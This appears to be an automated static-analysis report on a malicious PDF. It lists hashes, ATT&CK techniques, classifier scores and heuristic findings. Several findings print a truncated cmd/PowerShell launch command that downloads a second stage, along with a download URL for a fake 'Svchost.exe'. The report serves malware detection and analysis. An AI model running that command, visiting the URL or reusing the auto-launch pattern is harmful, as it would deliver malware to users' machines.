Malicious PDF — malware analysis report

Static analysis result for SHA-256 ce0170a8135d37d8…

MALICIOUS

PDF

4.83 MB
MD5: 9d424a909088c34527cecce57ec4bb9f SHA-1: e3bcc3837f91d88e8769523536a65bfafa4aafb9 SHA-256: ce0170a8135d37d8b2fd9f701ab34996f5935b2aa9fc7035e02b3af3c482a78a
212 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File T1566.002 Spearphishing Attachment

The PDF file contains a high-confidence heuristic firing for an embedded script payload and a launch action that invokes cmd.exe. This command then executes PowerShell to download a second-stage payload from the provided URL. The ML classifier also strongly indicates maliciousness.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9890

Heuristics 6

  • OpenAction trigger high PDF_OPENACTION
    PDF has an /OpenAction that launches, submits, or opens an external target
    URL https://www.upload.ee/download/14997302/52132a31bf081c8c8a49/Svchost.exe
  • Launch action high PDF_LAUNCH
    PDF contains a /Launch action with an unresolved or extension-less target — treat as potentially dangerous
  • Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOAD
    PDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
    URL https://www.upload.ee/download/14997302/52132a31bf081c8c8a49/Svchost.exe
  • /Launch action target: CMD high PDF_LAUNCH_COMMAND
    PDF /Launch action specifies an executable target with parameters '/c cD %tEMP% &@echo powershell -Command "(New-Object Net.WebClient'.
    URL https://www.upload.ee/download/14997302/52132a31bf081c8c8a49/Svchost.exe
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
    URL https://www.upload.ee/download/14997302/52132a31bf081c8c8a49/Svchost.exe
  • PDF differential parser failed info PDF_DIFFERENTIAL_PARSE_FAILED
    The cross-check parser (pdfminer.six) failed on this file: PDF differential parser failed: PSEOF. Static heuristics still ran and any of their findings above are valid; only the differential cross-check signal is missing.
    URL https://www.upload.ee/download/14997302/52132a31bf081c8c8a49/Svchost.exe

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_pdf_script_004d4eb7.bin
9a59423e5594f113069cb1ae8016ea792da6223e81f7dc7bb4f77a0c57f0af41		 pdf-embedded-script PDF decompressed stream script payload at offset 0x4D4EB7 67 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 shell/COM execution token(s).

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